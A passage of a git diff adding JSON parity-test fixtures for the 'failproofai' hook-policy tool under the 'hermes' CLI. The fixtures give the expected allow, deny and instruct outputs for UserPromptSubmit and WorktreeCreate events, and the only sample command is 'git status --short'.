"UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a73e1591 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b87e76dd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d5a0b7ec --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..97c051f4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fa694675 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..294fdba2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0300d2e9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a0cd1dbf --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..16661e08 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2bb06a31 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d36c06ed --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8c2321db --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..545c06e3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..39113f79 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e35ad4fd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..16646fc6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c720371f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0769ded8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": 